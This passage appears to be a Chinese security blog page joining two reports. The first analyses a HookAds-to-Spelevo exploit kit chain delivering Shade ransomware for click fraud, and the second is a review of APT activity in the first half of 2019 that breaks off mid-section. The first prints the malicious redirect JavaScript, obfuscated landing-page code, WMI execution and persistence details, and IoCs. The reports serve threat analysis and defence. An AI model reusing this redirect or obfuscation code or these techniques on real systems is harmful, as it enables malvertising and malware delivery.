var keyStr = "ABCDEFGHIJKLMNOP" + "QRSTUVWXYZabcdef" + "ghijklmnopqrstuv" + "wxyz0123456789+/" + "=";function decode64(input) { var output = ""; var chr1, chr2, chr3 = ""; var enc1, enc2, enc3, enc4 = ""; var i = 0; var base64test = /[^A-Za-z0-9\+\/\=]/g; if (base64test.exec(input)) {} input = input.replace(/[^A-Za-z0-9\+\/\=]/g, ""); do { enc1 = keyStr.indexOf(input.charAt(i++)); enc2 = keyStr.indexOf(input.charAt(i++)); enc3 = keyStr.indexOf(input.charAt(i++)); enc4 = keyStr.indexOf(input.charAt(i++)); chr1 = (enc1 << 2) | (enc2 >> 4); chr2 = ((enc2 & 15) << 4) | (enc3 >> 2); chr3 = ((enc3 & 3) << 6) | enc4; output = output + String.fromCharCode(chr1); if (enc3 != 64) { output = output + String.fromCharCode(chr2) } if (enc4 != 64) { output = output + String.fromCharCode(chr3) } chr1 = chr2 = chr3 = ""; enc1 = enc2 = enc3 = enc4 = "" } while (i < input.length); return unescape(output)}function visits() { BrowserInfo = getBrowser(); if (BrowserInfo.allright == true) { document.write('') } else { window.frames[0].document.body.innerHTML = '<form target="_parent" method="post" action="' + decode64('aHR0cDovL2FkMy5kb2dmdW5ueXZpZGVvcy54eXovbXlkb2dneXN0eWxld2l0aHlvdXJraXR0eQ==') + '"></form>'; window.frames[0].document.forms[0].submit() }}

上面代码片段末尾的Base64解码为ad3[.]dogfunnyvideos[.]xyz/mydoggystylewithyourkitty.

值得注意的是,我们观察到的所有HookAds域都托管在荷兰,解析为185[.]56[.]233[.]186。

4.png

图4.WHOIS记录其中一个HookAds域名 – play-milk[.]club

到达工具包登录页面后,在获取Flash漏洞(CVE-2018-15982)之前会进行额外的浏览器检查。检查着陆页的代码与其他漏洞利用工具包(如GrandSoft和Fallout)没有显着差异,表明了开发人员之间的协同性。

代码包含一些混淆部分:

<script> var a = 'CihmdW5jdGlvbigpe3ZhciBqPXt2ZXJzaW9uOiIwLjkuMSIsbmFtZToiUGx1Z2luRGV0ZWN0IixhZGRQbHVnaW46ZnVuY3Rpb24ocCxxKXtpZihwJiZqLmlzU3RyaW5nKHApJiZxJiZqLmlzRnVuYyhxLmdldFZlcnNpb24pKXtwP…..

在同一页面上,我们可以找到去混淆函数,它接受上面变量(var a)中的长Base64字符串,并对其进行去混淆处理。

function decode_base64(s) { var e={},i,k,v=[],r='',w=String.fromCharCode; var n=[[65,91],[97,123],[48,58],[43,44],[47,48]]; for(z in n){for(i=n[z][0];i<n[z][1];i++){v.push(w(i));}} for(i=0;i<64;i++){e[v[i]]=i;} for(i=0;i<s.length;i+=72){ var b=0,c,x,l=0,o=s.substring(i,i+72); for(x=0;x<o.length;x++){ c=e[o.charAt(x)];b=(b<<6)+c;l+=6; while(l>=8){r+=w((b>>>(l-=8))%256);} } } return r; } var a2 = decode_base64(a);

通过调试器并在返回值“return r;”处放置断点,能获得1000行去混淆代码,其中包括额外的浏览器和插件分类函数,这些函数负责选择要使用的相关漏洞:

(function () { var j = { version: "0.9.1", name: "PluginDetect", addPlugin: function (p, q) { if (p && j.isString(p) && q && j.isFunc(q.getVersion)) { p = p.replace(/\s/g, "").toLowerCase(); j.Plugins[p] = q; if (!j.isDefined(q.getVersionDone)) { q.installed = null; q.version = null; q.version0 = null; q.getVersionDone = null; q.pluginName = p; } } }, uniqueName: function () { return j.name + "998" }, openTag: "<", hasOwnPROP: ({}).constructor.prototype.hasOwnProperty, hasOwn: function (s, t) { var p; try { p = j.hasOwnPROP.call(s, t) } catch (q) {} return !!p

我们的搜索引擎识别出被利用的Flash版本——25.0.0.170(在撰写本文时,Adobe的最新Flash版本是32)。查看Adobe官方档案,我们可以看到这个版本是在2017年5月发布的。

5.png

图5.加载的闪存模块

PAYLOAD执行

在成功利用(能执行任意代码)之后,后续步骤是使用WMI执行payload。这种技术在开发工具包中非常罕见,也暗示了威胁行为者技术上是很成熟的。

Payload被植入到%AppData%后,由wmic.exe(WMI命令行实用程序)执行。

6.png

6-2.png

图6.由wmic.exe执行

此技术被称为LOLBin(指合法的二进制文件,网络罪犯可以利用这些二进制文件进行隐藏的恶意活动)。攻击者通过提供参数process call create和可执行文件路径来启动进程。

恶意进程82F5.tmp没有出现在上图wmic.exe的执行树中,因为WMI被设计为远程查询和控制。WmiPrvSE.exe进程(WMI提供程序主机)负责在目标系统上运行WMI命令,payload作为WmiPrvSE.exe的子进程执行。

7.png

图7.作为子进程执行的payload

接着Shade勒索软件现身。

Shade勒索软件的PAYLOAD调查

Shade勒索软件在2014年底首次出现。这款恶意软件不仅可以加密文件,还可以安装额外的恶意模块,模块是通过在二进制文件中嵌入Tor库下载的。下载的模块包括加密货币挖掘器、远程控制bot等。

检查文件的元数据,发现它被修改为看起来像是一个合法的Foxit PDF文件,这么做是为了避免怀疑文件是非法的,且恶意软件已被签署,能绕过传统的反病毒检查。但在分析时,该签名已不再有效。

此外,随机名称的“temp”文件(如payload(82f5.tmp))经常在安装新软件时出现。

8.png

图8.文件元数据

9.png

图9.曾经有效的82f5.tmp签名

执行时,恶意软件会在%programdata%文件夹中创建自身的重命名副本,为其分配特定属性使之移除困难,并隐藏创建的文件夹(名为services)和payload(csrss.exe)。即使打开了更常用的“显示隐藏文件”功能(显示恶意软件收藏夹,如%programdata%和%appdata%文件夹),该文件仍然不会对用户可见。

10.png

图10.分配“系统”属性以阻止修复

11.png

图11.Csrss.exe文件属性

这个重命名的副本直到重启后才会运行,并保持原来的payload(在我们的例子中是82f5.tmp)运行。

持久性

恶意软件以注册表自动运行键的形式创建持久性,在目录路径中创建键是恶意软件持久性机制之一,这使它能够在系统重新启动时存活。在很多情况下,恶意软件的持久性可能会非常明显,比如一个带有随机生成的字母和数字的字符串。在我们遇到的情况中,攻击者选择了一种更不引人注目的方法,将其命名为“windows session manager”。

12.png

图12.持久性机制

完整的注册表项路径:

hku\[SANITIZED]\software\microsoft\windows\currentversion\run\windows session manager

Shade用法的转变

从历史上看,Shade一直以加密文件和索要赎金而闻名。但在我们的分析中,我们遇到了一种与之相反的行为:这些文件从未加密,但受害者的地理位置而连接到数百个恶意域。通过检查其中一个页面的源代码,我们发现了点击欺诈的痕迹。该恶意软件正在产生欺骗性的广告流量,这已被证明是为网络犯罪分子赚钱的一种非常有效的方式。

13.png

图13.其中一个恶意网站的点击欺诈迹象

在我们的平台中,我们可以检查受害者和恶意域之间发送的数据量(Google相关流量除外)。

14.png

图14.受害者和恶意域之间发送的数据

虽然这种情况并不少见,但除非您浏览的网站有很多图片或视频,否则通常不会通过浏览单个页面获得这么多数据。

此外,顶级域名在日本很少见(例如.fi、.ru和.ca在日本用户中被认为很少见)。通常达到这个数据量的网站是众所周知的,比如大型社交网站。

分析恶意软件进一步提供了其Tor功能的线索,如缓存文件,Tor设置和一长串Tor节点列表。Tor模块的缓存文件将被放到%temp%文件夹中,该文件包含所使用的Tor版本以及上次执行时的信息。

15.png

图15.%temp%目录中的Tor缓存文件

完整路径: C:\Users\[REDACTED]\AppData\Local\Temp\9P2i8FeHvz。突出显示的文件夹名称随机生成。

16.png

图16.列表中的Tor节点/中继器和内存中的Tor设置示例

安全建议

· 将所有第三方插件和浏览器更新到最新状态。

· 如果您的操作不需要频繁利用Java或Flash等软件,请考虑完全删除它们。此外执行定期备份,最好是对外部网络(如基于云的解决方案)备份。

· 最好进行额外的物理备份。

结论

在这次攻击中,我们以一个新的角度看到了Shade勒索软件的攻击行为。攻击者将Shade与Spelevo漏洞利用工具包相结合,并利用易受攻击的浏览器和lolbin来保持隐蔽性。不仅如此,攻击者还将Shade的用途转移到了点击欺诈上,偏离了它原本的用法。另外我们需要注意的是,点击欺诈正以前所未有的速度(每年50%的速度)增长,尽管与勒索软件相比,这是一种不那么直接的攻击,但这种攻击可能也非常有利可图,而且更为低调。

IoC

Payload (Shade)

SHA-1: E6B0FEF60562A33B68B5A3CDCAC9856756A5E883

域名

voluptuous[.]googleresearcher[.]xyz

ad3[.]dogfunnyvideos[.]xyz

todaymale[.]xyz

ertagov[.]com

IPs

85[.]17.197.100

5[.]23.49.200

185[.]56.233.186

72[.]52.179.174

一、前言

高级可持续性攻击,又称APT攻击,通常由国家背景的相关攻击组织进行攻击的活动。APT攻击常用于国家间的网络攻击行动。主要通过向目标计算机投放特种木马(俗称特马),实施窃取国家机密信息、重要企业的商业信息、破坏网络基础设施等活动,具有强烈的政治、经济目的。

整个2019年上半年,网络攻击频发,全球的网络安全形势不容乐观。腾讯安全御见威胁情报中心根据团队自己的研究以及搜集的国内外同行的攻击报告,编写了该份2019年上半年APT攻击研究报告。根据研究结果,我们认为主要的结论如下:

1、中国依然是APT攻击的主要受害国,受到来自于东亚、东南亚、南亚、欧美等各个区域的网络威胁;

2、网络攻击形势跟地域政治局势有相当密切的关联,地域安全形势复杂的地区,往往是APT攻击最为严重和复杂的地区;

3、APT攻击不再局限于窃取敏感材料,攻击目标开始跟民生相关,如阿根廷、委内瑞拉的大断电等;

4、大量的APT攻击武器库的泄露,使得网络安全形势更加严峻,如军用网络武器的民用化等,同时也给安全研究者的追踪、溯源带来了一定的困难。

二、2019年上半年攻击概览

2019年上半年来,网络安全大事频发,APT攻击也持续高发,为了掌握APT攻击在全球的活动情况,腾讯安全御见威胁情报中心针对全球所有安全团队的安全研究报告进行研究,并提取了相关的指标进行持续的研究和跟踪工作。同时,我们针对相关的研究报告进行了一个梳理和归纳,经过不完全统计,2019年上半年,全球共有42个安全厂商共计发布了144篇APT攻击报告,其中有7家中国的的安全厂商发布了43篇攻击报告,报告数量同步2018年增长了近5成。由于安全公司众多,监测可能有所遗漏,敬请谅解。我们也只选取了有具体攻击活动和明确组织信息的报告做为统计和比对。

1.png

图1:国内外主要安全厂商披露APT数量

2019年上半年,国内共有7家安全厂商披露了43篇攻击报告,共涉及APT攻击组织26个,其中海莲花被披露的次数最多,共计7次,其次为污水(MuddyWater),共计5次。

2.png

图2:国内安全厂商披露的主要APT组织攻击事件数量

从被攻击地域分布来看,根据腾讯安全御见威胁情报中心的统计显示(不含港澳台地区),2019年上半年中国大陆受APT攻击最多的地区为广西和北京,此外还有辽宁、云南、海南、四川、广东、上海等。详见下图(不含港澳台地区)。

3.png

图3:2019年上半年中国大陆被APT攻击的地区分布图

而从行业分布来看,2019年上半年针对中国大陆的攻击中,主要受攻击对象包括政府部门、国有企业、科研机构等,具体分布如下:

4.png 图4:国内被攻击目标属性分布

三、中国面临的APT攻击形势

中国历来都是APT攻击的主要受害者,随着中国经济的快速发展,以及国际地位的不断攀升,中国面临的外部威胁形势更加严峻。根据腾讯安全御见威胁情报中心的监测以及公开的报告和资料,我们将在2019年上半年对中国大陆有过攻击的组织按疑似的地理位置分为东北亚方向、东亚方向、东南亚方向、南亚方向、其他方向。

组织归属地 代表
东亚 DarkHotel、Group123(APT37)、Lazarus、穷奇(毒云藤)
东南亚 海莲花(APT32)
南亚 BITTER(蔓灵花)、白象、Gorgon Group
其他 方程式

表1:2019年上半年攻击中国的APT组织地域分布

3.1  东亚方向的威胁

东亚的威胁主要来自朝鲜半岛等地区,此方向组织具有很强的政治背景,常攻击我国政府、外贸、金融、能源等领域的公司、个人及相关科研单位,该方向黑客组织十分庞大,往往呈集团化运作。最典型的攻击组织代表就是DarkHotel、Group123(APT37)、Lazarus、穷奇(毒云藤)等。2019年以来,这几个典型组织都比较活跃。

3.1.1 DarkHotel

DarkHotel组织旗下的寄生兽长期对我国外贸公司进行持续性攻击,在2019年上半年再次针对中国的外贸企业进行了攻击活动。该组织具有强大的木马开发能力和0day漏洞利用能力,持续与国内主流安全软件进行安全对抗。新版的寄生兽木马依然使用寄居在正常的文件中疑似通过水坑来感染目标系统,与以往不同的是,以前是通过将大量开源代码加入到木马工程中编译以实现隐藏恶意代码的目的,今年则出现通过替换正常的软件文件来实现劫持的目的,更加隐蔽和难以清理。

5.png

图5:捆绑有寄生兽木马的网易邮箱大师程序

感染目标系统后,通过下发恶意插件的方式,对被控机器进行持久性攻击,插件如下:

插件名 功能
rmet_x64/ rmet_x86 Meterpreter,用于远程控制,持续渗透
mkmfc.dll 键盘记录插件,本插件用于键盘记录,记录按键信息、窗口标题、时间
weepyll_x64.dll 内网渗透插件,主要用于横向移动
hird.dll 用于用于窃取数据库文件
nksen.dll 用于屏幕监控
igfxrot.exe/TiWork.exe 开源远程控制木马XRAT,该远控可以进行键盘记录、远程下载执行恶意文件、上传文件、反向代理等功能

表2:寄生兽下发插件的功能列表

3.1.2 Group123(APT37)

该组织疑似朝鲜半岛某国政府背景,经常攻击国内的外贸公司、在华外企高管,甚至政府部门。该组织最常使用鱼叉钓鱼邮件进行定向攻击,使用Nday或者0day漏洞进行木马捆绑和伪装。在拿下目标及其后会尝试横向移动以及对根据系统信息发现定制模块,常使用dropbox等公共网络资源作为C2、中转、存储等。2019该组织仍然十分活跃。

6.png

图6:Group123的攻击诱饵

7.jpg 图7:Group123组织针对特定计算机下发的定制化模块

3.1.3 穷奇(毒云藤)

穷奇组织是一个对我国持续攻击时间长达数十年的老牌APT组织,该组织的攻击活动在2015年左右达到高峰,之后的活动慢慢减少,2019年以来该组织活动减少了很多,攻击频次和攻击范围都大大缩小,但其依然保持活动,如今年3月份,该组织就使用编号为CVE-2018-20250的WinRAR ACE漏洞向中国大陆数十个重点目标投递了多个RAT木马。投递的RAT木马核心与3年前的版本相比除了配置信息外并未发现新的功能性更新,由此也可印证该组织的活跃度确实在下降。

8.png图8:穷奇组织的钓鱼邮件

9.png

图9:带有CVE-2018-20250漏洞的压缩包附件 

10.png

图10:解压后释放的恶意文件

11.png 图11:解压后的正常文件

3.2  东南亚方向的威胁

东南亚方向的威胁,最典型的代表就是海莲花(APT32、OceanLotus),该组织是近年来针对中国大陆攻击最频繁的组织,甚至没有之一。其攻击的目标众多且广泛,包括政府部门、大型国企、金融机构、科研机构以及部分重要的私营企业等。该组织攻击人员非常熟悉我国,对我国的时事、新闻热点、政府结构等都非常熟悉,如刚出个税改革时候,就立马使用个税改革方案做为攻击诱饵主题。此外钓鱼主题还包括绩效、薪酬、工作报告、总结报告等。

2019上半年以来海莲花组织以更大规模对更广领域进行持续攻击,大量国内企业单位目标整个内网沦陷,攻击方式依旧以使用电子邮件投递诱饵的方式实施鱼叉攻击为主,投递的诱饵类型则是多种多样,有白加黑、lnk、chm、漏洞利用office文件、WinRAR ACE漏洞文件、文档图标的exe等。一旦获取到一台机器控制权限后,立即对整个内网进行扫描平移渗透攻击。

12.png

图12:海莲花的钓鱼邮件

 13.png

图13:海莲花使用的攻击诱饵

在安全对抗上,海莲花也表现得十分活跃,其技术更新十分频繁,且大量针对国内安全软件。如在启动方式上,上半年出现了通过修改doc、txt等文档文件类型关联程序的方式来实现开机自启动;通过在资源中添加大量的垃圾数据,充大文件体积来防文件上传;通过com组件来添加注册表从而绕过安全软件主动防御的技术。

14.png

图14:在资源中添加大量垃圾数据

15.png

图15:添加大量垃圾数据后的文件大小

而在受害机器上的持久化文件,白加黑依然是海莲花组织最喜欢用的方式之一,以下是近半年该组织最常用的“白加黑”组合:

白文件原名 白文件MD5 黑DLL文件名
iTunesHelper.exe 3723c94f7e6b91e60b74e7eeea6796** AppleVersions.dll
SGTool.exe 5fc69418b80385e8c41cfd76b427c1** inetmib1.dll
Rar.exe 35bb768e6ee6c8a1462e11cf0be2a9** ldvptask.ocx
GoogleUpdate.exe 0545a3eb959cfa4790d267bfb8c1ac** goopdate.dll
360se.exe a16702ed1812ddc42153ef070f3dfd** chrome_elf.dll
winword.exe ceaa5817a65e914aa178b28f12359a** wwlib.dll
rekeywiz.exe ca0537448557b9055ea660c08d76f7** mpr.dll

表3:海莲花常用的白加黑组合

2019上半年海莲花出现的另一个显著的新变化则是对常驻文件进行机器绑定处理,实现木马与受害机器绑定,即使用计算机名对木马payload进行加密,这样如果样本被拷贝到其他机器,如分析取证人员的电脑,则无法解密出payload而无法分析样本具体行为,对于最终的payload,Denis、CobaltStrike、类gh0st依然是该组织最喜欢使用的RAT,且会根据目标的价值信息,选择不同的RAT组合。

16.png

图16:海莲花特马的payload加密结构

17.png

图17:海莲花特马的payload解密流程

3.3  南亚方向的威胁

南亚方向的攻击组织对中国大陆的攻击活动已经持续了近10年,代表组织有BITTER(蔓灵花)、白象(摩诃草、Patchwork、HangOver)、GorgonGroup等。而BITTER、白象等组织之间又存在某些相似和关联,这一点在我们以往的报告中也有所提及。2019年上半年,该方向的组织依然活跃,持续有针对中国政府部门、军工、核能企业以及外贸、钢铁行业进行攻击的案例。

3.3.1 BITTER(蔓灵花)

BITTER(蔓灵花)也是对中国大陆进行攻击的比较频繁的一个攻击组织,攻击目标包括外交相关部门、军工、核能等企业。御见威胁情报中心曾在2018年12月详细的披露过该组织的攻击活动和技术细节,以及和白象等组织的关联关系。2019年上半年该组织的技术特点跟之前的类似,未发现有明显的改进。

18.png

图18:蔓灵花的攻击诱饵文件

19.png

图19:蔓灵花的钓鱼页面

3.3.2 白象

白象组织,也叫摩诃草、Patchwork、HangOver,也是经常针对中国大陆进行攻击的组织,除了中国大陆的目标外,巴基斯坦也是该组织的主要目标。该组织的攻击活动以窃取敏感信息为主,最早可以追溯到2009年11月,至今还非常活跃。在针对中国地区的攻击中,该组织主要针对政府机构、科研教育领域进行攻击。该组织的常用特马包括badnews、qrat等。

2019年上半年,虽然该组织频繁的针对巴基斯坦、孟加拉等目标进行了攻击活动,但是针对中国大陆的攻击相对比较平静。但是我们也有发现该组织旗下的badnews特马所使用的github等公共平台的配置的C2在2019年也进行了频繁的更新。

20.png

图20:白象的badnews特马所配置C&C的页面

可以看到,真正的C&C地址,使用的是拼音,很有中国特色:

21.png

图21:白象的badnews特马C&C通信包

命令号 功能
0 退出木马进程,结束控制
8 获取键盘记录:上传TPX498.dat,即键盘记录文件
23 获取截屏:截屏并存储为TPX499.dat,并上传
13 上传文件:读取指定文件内容写入到AdbFle.tmp,并上传
4 获取文档文件目录列表:上传edg499.dat并删除,再运行一次木马自身
5 上传指定路劲的文件
33 下载文件:从指定URL下载文件,并执行

表4:badnews特马的命令号和功能

3.3.3 GorgonGroup

Gorgon Group是一个比较特殊的攻击组织,该组织主要针对包括中国在内的全球外贸人士进行攻击,行为类似于腾讯安全御见威胁情报中心多次披露的”商贸信”。但是特别的是,Gorgon Group还被发现有针对英国、西班牙、俄罗斯、美国等政治目标发起过定向攻击。该组织最早在2018年8月份由Palo Alto的Unit42团队进行了披露。

该组织主要的武器库为一些公开的商用的RAT木马,包括Azorult RAT、RevengeRAT、NjRAT、Lokibot等。同时该组织还喜欢使用Bitly短域名,以及使用公开的blog和临时分享文本站点pastebin来存储攻击代码。

2019年上半年,该组织依然持续的对全球的外贸人士进行了攻击,当然中国的外贸人士也包含在内。主题包括订单、邀请函、快递等等。

22.png

图22:使用pastebin存储攻击代码

23.png

图23:使用blogspot存储攻击代码

3.4  其他方向的威胁

其他方向的威胁主要来自欧美国家,典型代表如方程式、Turla等。其中方程式组织被曝光于2015年初,其活动时间最早可追溯至2001年,在2017年时,该组织被ShadowBrokers(影子经纪人)组织黑吃黑攻陷,几乎全部资料外泄。从曝光的材料来看其拥有强大的漏洞利用能力,且多个0day漏洞已使用数年之久,包括后来被WannaCry木马利用的“永恒之蓝”漏洞都是出自该组织之手,根据曝光的信息,中国有大量的重要目标被该组织贡献,总数位列所有被攻击国家之首。该组织的攻击方式大多从重要目标防火墙、路由器等入手,通过漏洞层层植入木马,技术手段十分高超,因此长时间未被发现。从方程式被曝光之后,该组织未被发现有新的活动迹象,可能是该组织另起炉灶,完全使用新的木马进行攻击,也可能是使用更先进的技术使得自己更加隐蔽,我们也在持续挖掘很跟进中。

可以看到,被方程式组织攻陷的目标,位于中国的最多:

24.png

图24:方程式攻击目标发布

而APT28、Turla组织被认为具有俄罗斯政府背景,其攻击目标以政治目的为主,有攻击国内目标的历史,但是在2019年上半年未发现其针对我们的活动迹象。因此不再具体描述。

四、国际APT攻击形势

高级持续性威胁(APT)被认为是地缘政治的延伸,甚至是战争和冲突的一部分,APT的活跃趋势也跟地缘政治等全球热点密切相关,全球APT攻击高发区域也是全球地缘政治冲突的敏感地域。2019年以来,国际形势瞬息万变且复杂,好多地区甚至都在战争的边缘,如美伊、印巴、委内瑞拉等。跟根据我们对2019年上半年APT攻击活动的分析,这些高危地区也恰恰是APT攻击活动的主要活跃地带。从而可知,网络战也慢慢变成国家间的政治博弈甚至是现代战争的重要部分。

跟之前的年度报告一样,我们依然把针对全球的威胁根据攻击组织的归属地,分几个重点的区域来进行描述,具体如下:

组织归属地 活跃代表
东亚 Group123(APT37)、Lazarus、Hermit、Kimsuky
南亚 BITTER(蔓灵花)、白象、SideWinder(响尾蛇)、Donot Team(肚脑虫)、TransparentTribe(ProjectM)
中东 APT34、MuddyWater
欧洲 APT28、Turla、Gamaredon、Buhtrap

表5:根据地域分布的全球威胁概况

4.1  东亚地区

东亚地区的威胁主要来自朝鲜半岛,虽然从2018年开始,半岛关系开始缓和,但是网络攻击并未停止脚步。主要的代表包括Hermit、Group123、Lazarus等。

4.1.1  Hermit和Kimsuky

Hermit攻击活动主要针对区块链、数字货币、金融目标等,但是我们也发现了同样针对朝鲜相关的外交实体的一些攻击活动。该组织的攻击活动腾讯安全御见威胁情报中心曾在2018年下半年进行了详细的披露,在2019年上半年我们同样捕捉到了该组织的多次攻击活动,同样发布了详细的攻击报告。

该组织旗下的特马包括SYSCON/Sandy、KONNI等。而根据国外的安全公司ESTsecurity的报告,该组织跟另一个攻击组织Kimsuky组织有一定的关联。

25.png

图25:KONNI和Kimsuky的代码流程示意图(引用自ESTsecurity报告)

该组织2019年上半年的新活动,跟之前的活动相比,技术手段类似,但是也有一定的更新,如通过下载新的doc文档来完成后续的攻击以及使用AMADEY家族的木马。而最终目标依然为运行开源的babyface远控木马。此外,传统的Syscon/Sandy家族的后门木马也依然活跃。

26.png

图26:2019年上半年Hermit活动的钓鱼诱饵文档 

27.png

图27:2019年上半年Hermit活动的钓鱼诱饵文档

28.png

图28:2019年上半年Hermit活动所使用的后门AMADEY后台

而同样Kimsuky也是2019年上半年在半岛地区活动异常频繁的攻击组织,该组织的攻击对象主要是跟朝鲜相关的政治目标,而钓鱼诱饵往往是当前的政治热点内容。攻击诱饵有很大一部分是hwp文档。

29.png

图29:Kimsuky的攻击诱饵信息(引用自ESTsecurity报告)

30.png

图30:Kimsuky某次攻击活动的攻击流程图(引用自ESTsecurity报告)

4.1.2  Lazarus

Lazarus组织被认为是朝鲜最著名的攻击组织,该组织被认为是攻击索尼公司、孟加拉国银行等攻击活动的幕后黑手,甚至连震惊全球的Wanacry勒索病毒事件也被认为是该组织所为。

近些年来,该组织主要目标包括金融公司、虚拟货币交易所等目标。而在2019年上半年,该组织就对新加坡的DragonEx交易所、OKEX交易所等目标进行了攻击活动。

31.png

图31:GragonEX交易所发布的攻击公告

4.2  南亚地区

南亚地区的威胁,主要集中在印巴之间。而印巴之间的关系一直以来都比较紧张,在过去的多年,围绕克什米尔地区,冲突不断。进入2019年来,冲突持续升级。

随着政治上的关系恶化,该地区的网络战在同时期也进入了一个高潮。代表组织主要有BITTER(蔓灵花)、白象、Donot(肚脑虫)、SideWinder(响尾蛇)、TransparentTribe等。

4.2.1  SideWinder(响尾蛇)

SideWinder(响尾蛇)为疑似来自印度的 APT 攻击组织,该组织持续针对巴基斯坦等南亚国家的军事目标进行了定向攻击。该组织最早被腾讯安全御见威胁情报中心在2018年进行了披露,而根据腾讯安全御见威胁情报中心对该组织的攻击溯源结果来看,该组织的最早的攻击活动可以追溯到 2012 年。而在2019年2月,腾讯安全御见威胁情报中心再次详细披露了该组织的一些攻击活动。

在2019年上半年,该组织的攻击活动也并未停止,相反还比较活跃。但是技术上并未有太大的改变,相关的攻击技术细节可以参考腾讯安全御见威胁情报中心之前的详细分析报告。

32.png

图32:SideWinder的钓鱼邮件

33.png

图33:SideWinder的钓鱼诱饵内容

该组织的特马主要采用VB编写,后门功能包括收集用户信息、记录键盘和鼠标的操作等。并且使用白加黑的手段来进行加载。如常用的:

34.png

图34:SideWinder组织常用的白加黑组合

35.png

图35:SideWinder组织常用的VB后门代码框架

4.2.2  白象

白象主要攻击巴基斯坦的政府部门、科研机构等。2019年上半年频繁的针对巴基斯坦的目标进行了攻击。腾讯安全御见威胁情报中心也披露了白象的攻击活动。

36.png

图36:白象的攻击诱饵

37.png

图37:白象的攻击诱饵内容翻译

38.png

图38:保存受害者信息的FTP地址

此外,白象还频繁的使用badnews后门对巴基斯坦的目标进行了攻击活动:

39.jpg

图39:白象的攻击诱饵

40.png

图40:白象的攻击诱饵

41.png

图41:github上存储C&C信息的页面

4.2.3  Donot(肚脑虫)

Donot Team是2018年被曝光的APT攻击组织,最早在2018年3月由NetScout公司的ASERT团队进行了披露,随后国内的厂商奇安信也进行了披露。该组织主要针对巴基斯坦进行攻击活动。

2019年上半年该组织也相当活跃,对巴基斯坦的目标进行了多次的攻击活动:

42.jpg

图42:Donot Team的攻击诱饵

43.png

图43:Donot Team的攻击诱饵执行的bat内容

除了拥有PC端上的攻击能力,该组织同样拥有移动端的攻击能力:

44.png

图44:Donot Team的安卓木马的流程(引用自奇安信博客的分析)

4.2.4  TransparentTribe

TransparentTribeAPT组织,又称ProjectM、C-Major,是一个来自巴基斯坦的APT攻击组织,主要目标是针对印度政府、军事目标等。该组织的活动最早可以追溯到2012年。该组织的相关活动在2016年3月被proofpoint披露,趋势科技随后也跟进进行了相关活动的披露。

2019年上半年,该组织也对相关目标进行了多次攻击活动:

45.png

图45:TransparentTribe的攻击诱饵

事项 说明
攻击目标 印度政府、军事目标等
投递方式 鱼叉攻击
诱饵类型 带有VBA宏的doc、xls文档等。并且把相关的内容和恶意文件以整形的数据形式存放在窗体控件中。
诱饵内容 以攻击目标感兴趣的新闻和通知等内容
特马家族 CrimsonRAT、.net loader、.net droper、PeppyRAT
攻击目的 窃取相关资料文件

表6:TransparentTribe组织的TTPs整理

而经过腾讯安全御见威胁情报中心的数据溯源,该组织疑似跟巴基斯坦另外一个组织Gorgon Group有一定的关联:

 46.png

图46:TransparentTribe和Gorgon关联示意图

4.3  中东地区

中东地区向来是世界局势的火药桶,该地区是世界上政治最复杂的地区。此外,大量的恐怖袭击、局部冲突等也在此地区大量的出现。随之而来的是,该区域的网络安全形势也非常复杂和严峻,是整个2019年上半年,网络攻击最频繁、最为热闹的地区。

该地区的攻击组织力量主要以伊朗的攻击组织为主,包括MuddyWater、APT34、DarkHydrus等。

4.3.1  MuddyWater

MuddyWater(污水)APT组织是2019年上半年曝光度最高的APT组织,也是2019年上半年全球最活跃的APT攻击组织,国内外多家安全公司都曝光过该组织的一些攻击行动,安全社区里也有大量的安全研究人员讨论该组织攻击活动。腾讯安全御见威胁情报中心也多次曝光过MuddyWater组织的攻击活动。

MuddyWater组织是一个疑似来自伊朗的攻击组织,该组织的攻击目标主要集中在中东地区以及包括塔吉克斯坦、白俄罗斯等在内的前苏联国家,攻击的对象主要集中在外交部、国防部等政府部门。

MuddyWater组织偏爱使用采用模糊显示以及宏代码加载的诱饵文件。并在2019年更新了其攻击TTPs,如宏代码拼接内置硬编码字符串写入VBE;利用注册表,自启动文件夹启动VBE等,此外在受害者选择上也更为精确,通过第一阶段后门反馈的受害者信息挑选目标进行下一步持久化等。

47.jpg

图47:MuddyWater针对塔吉克斯坦攻击的诱饵文档

48.png

图48:MuddyWater组织的BlackWater的攻击活动

49.png

图49:MuddyWater组织使用的powershell后门

而令人意外的是,2019年5月初,有人在telegram上售卖MuddyWater早期的C&C服务端的代码,随后被泄露。而该信息跟2019年4月趋势科技关于MuddyWater的报告中提到的他们监控到该组织在telegram泄露了C&C服务端源代码和受害者信息相吻合。

50.png

图50:在telegram上售卖的MuddyWater服务端源码

51.png

图51:MuddyWater服务端运行后界面

4.3.2  APT34

APT34,又被成为OilRig,同样是被认为是来自伊朗的APT攻击组织。跟MuddyWater一样,在2019年上半年,APT34所使用的攻击工具,也被黑客泄露。该泄露事件虽然未引起像之前Shadow Brokers(影子经纪人)泄露NSA工具包那样来的轰动,但是也在安全界引起了不少的关注和讨论。

52.png

图52:APT34的工具包的完整文件目录

可以看到,里面的被攻击目标包括阿联酋、科威特、约旦等。此外工具包里还包括了一份webshell列表,其中也包括多个中国网站的webshell:

53.png

图53:APT34的工具包里泄露的webshell列表

4.4  欧洲地区

该地区主要以东欧的攻击组织为代表,如APT28、Turla、Gamaredon等。而2019年上半年,这些攻击组织也主要围绕以乌克兰为主的东欧地区开展了网络攻击活动。

4.4.1  Gamaredon

Gamaredongroup是2017年第一次被披露的一个疑似俄罗斯政府背景的黑客组织,其活动最早可追溯至2013年。该组织常年攻击乌克兰政府、国防、军队等单位。2019年以来,我们又陆续发现了大量针对乌克兰政府部门的鱼叉攻击恶意邮件,诱饵文件内容主要包括乌克兰议会、法院调查文件、克里米亚等时政热点问题。

54.png

图54:Gamaredon组织的钓鱼攻击邮件 

55.png

图55:Gamaredon组织的钓鱼攻击诱饵内容

4.4.2  APT28

我们在2018年的年终报告里提到了APT28是2018年最为活跃的攻击组织。而在2019年上半年,该组织的攻击活动相比2018年有所减少,但是依然相当活跃,并发起了多次的攻击活动。如2019年3月,该组织使用0day漏洞攻击了乌克兰政府,疑似试图干预乌克兰大选。

56.png

图56:APT28组织所使用的攻击诱饵文档

而该组织的攻击武器库也非常强大,使用的语言也非常丰富,包括delphi、C#、C++、GO语言等。

4.4.3  Turla

Turla,又名Snake,Uroburos,Waterbug,被认为是来自俄罗斯的APT攻击组织,该组织从2007年开始活跃至今。该组织的攻击目标包括欧盟的一些政府目标,如外交实体,也包括一些私营企业。

在2019年上半年,国外安全公司ESET曝光率该组织使用新的powershell武器针对东欧的外交实体进行了攻击活动。

57.png

